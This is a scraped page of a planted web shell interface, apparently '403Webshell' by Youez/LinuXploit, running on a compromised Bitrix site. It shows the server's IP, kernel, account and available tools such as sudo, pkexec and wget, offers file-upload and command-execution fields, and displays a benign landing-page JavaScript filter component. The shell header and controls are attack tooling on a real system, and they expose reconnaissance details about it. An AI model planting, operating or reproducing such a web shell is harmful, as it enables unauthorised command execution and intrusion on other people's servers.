403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/landing/ui/field/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/landing/ui/field/filter_field.js
;(function() {
	"use strict";

	BX.namespace("BX.Landing.UI.Field");

	var addClass = BX.Landing.Utils.addClass;
	var removeClass = BX.Landing.Utils.removeClass;
	var isPlainObject = BX.Landing.Utils.isPlainObject;
	var append = BX.Landing.Utils.append;
	var findParent = BX.Landing.Utils.findParent;
	var offsetLeft = BX.Landing.Utils.offsetLeft;
	var offsetTop = BX.Landing.Utils.offsetTop;
	var rect = BX.Landing.Utils.rect;
	var onCustomEvent = BX.Landing.Utils.onCustomEvent;
	var bind = BX.Landing.Utils.bind;

	BX.Landing.UI.Field.Filter = function(options)
	{
		BX.Landing.UI.Field.BaseField.apply(this, arguments);
		addClass(this.layout, "landing-ui-field-filter");

		this.input.innerHTML = options.html;

		requestAnimationFrame(function() {
			BX.ajax.processScripts(BX.processHTML(options.html).SCRIPT, undefined, function() {
				this.filter = BX.Main.filterManager.getById(options.filterId);
				this.value = isPlainObject(options.value) ? options.value : {};
				append(
					this.filter.getPopup().popupContainer,
					findParent(this.layout, {className: "landing-ui-panel-content-body"})
				);
				onCustomEvent(this.filter.getPopup(), "onPopupShow", this.adjustPopupPosition.bind(this));
				bind(findParent(this.layout, {className: "landing-ui-panel-content-body-content"}), "scroll", this.adjustPopupPosition.bind(this));
				this.filter.getApi().setFields(this.value);
				this.filter.getApi().apply();
			}.bind(this));
		}.bind(this));
	};

	BX.Landing.UI.Field.Filter.prototype = {
		constructor: BX.Landing.UI.Field.Filter,
		__proto__: BX.Landing.UI.Field.BaseField.prototype,

		getValue: function()
		{
			var values = this.filter.getFilterFieldsValues();

			if (isPlainObject(values))
			{
				if ("FIND" in values)
				{
					delete values["FIND"];
				}

				return values
			}

			return {};
		},

		/**
		 * @todo refactoring
		 */
		adjustPopupPosition: function()
		{
			if (this.filter.getPopup())
			{
				var inputRect = this.input.getBoundingClientRect();
				var yOffset = 6;

				requestAnimationFrame(function() {
					this.filter.getPopup().popupContainer.style.top = inputRect.top + inputRect.height + yOffset + "px";
					this.filter.getPopup().popupContainer.style.left = inputRect.left + "px";
				}.bind(this));
			}
		}
	};
})();

Youez - 2016 - github.com/yon3zu
LinuXploit